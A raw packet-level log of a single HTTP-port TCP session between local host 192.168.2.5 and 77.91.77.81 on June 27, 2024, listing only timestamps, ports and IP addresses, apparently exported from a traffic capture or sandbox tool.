Jun 27, 2024 19:26:07.308856964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308862925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308892012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308911085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308926105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308948040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308959961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308983088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309005976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309030056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309063911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309086084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309097052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309118032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309150934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309150934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309187889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309207916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309235096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309254885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309269905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309303999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309326887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309326887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309338093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309353113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309371948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309390068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309406042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309421062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309441090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309453011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309477091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309489965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309508085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309520006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309556007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309734106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309767962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309798956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309801102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309822083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309835911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309868097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309870958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309887886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309906960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309923887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309942007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.309957027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.309997082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310117960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310152054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310182095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310185909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310219049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310219049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310242891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310255051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310271978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310290098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310307026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310327053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310348034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310373068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310566902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310600042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310620070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310633898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310657024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310668945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310677052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310703993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310725927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310738087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310760021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310771942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310784101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310806990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310828924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310858011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310861111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310894966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.310913086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.310990095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311009884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311022997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311041117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311067104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311075926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311124086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311141014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311173916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311198950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311208010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311222076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311244011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311261892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311276913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311291933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311312914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311331034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311348915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311379910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311382055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311418056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311422110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311422110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311456919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.311476946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.311511993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.335911036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.336024046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.336059093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.336080074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.336080074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.336111069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.336112976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.336148024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.336163998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.336182117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.336199999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.336215973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.336232901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.336261034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.340396881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.340449095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.340462923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.340500116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.340527058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.340544939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.340549946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.340588093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.340606928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.340640068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.340641022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.340675116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.340691090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.340728045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.365803003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.365859985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.365879059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.365895987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.365946054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.365946054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.365966082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.365998983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366019964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366034031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366050005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366080999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366117954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366168976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366168976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366204023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366223097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366239071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366245031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366272926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366292953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366308928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366332054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366360903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366406918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366441965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366461992 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366497040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366524935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366558075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366594076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366617918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366646051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366678953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366705894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366718054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366734982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366754055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366769075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366791010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.366810083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.366846085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.620809078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.620901108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.620903969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.620948076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.620960951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.620996952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621001959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621032000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621040106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621068001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621077061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621100903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621109962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621136904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621143103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621171951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621177912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621205091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621215105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621241093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621247053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621287107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621360064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621392965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621407032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621428013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621436119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621462107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621474981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621495962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621506929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621532917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621535063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621568918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621577978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621612072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621624947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621659994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621668100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621691942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621702909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621726990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621735096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621761084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621764898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621798992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.621805906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.621838093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622009039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622041941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622056007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622076988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622086048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622111082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622117996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622144938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622153044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622179031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622189999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622214079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622225046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622247934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622250080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622282028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622289896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622314930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622323990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622349977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622359037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622443914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622452021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622477055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622488022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622514963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622519016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622558117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622694016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622726917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622740030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622761011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622771025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622795105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622806072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622828960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622836113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622862101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622872114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622896910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622903109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622931004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622940063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622965097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.622968912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.622998953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623007059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623034000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623043060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623066902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623070955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623100996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623114109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623135090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623143911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623169899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623181105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623203993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623214006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623239040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623249054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623272896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623285055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623308897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623310089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623353004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623539925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623574972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623589993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623609066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623617887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623644114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623653889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623678923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623682022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623717070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.623723984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.623761892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627134085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627187967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627222061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627239943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627248049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627274990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627293110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627326012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627326965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627362013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627372026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627405882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627413034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627448082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627458096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627480984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627489090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627516985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627532005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627553940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627563953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627588034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627618074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627623081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.627636909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.627659082 CEST	80	49706	77.91.77.81	192.168.2.5
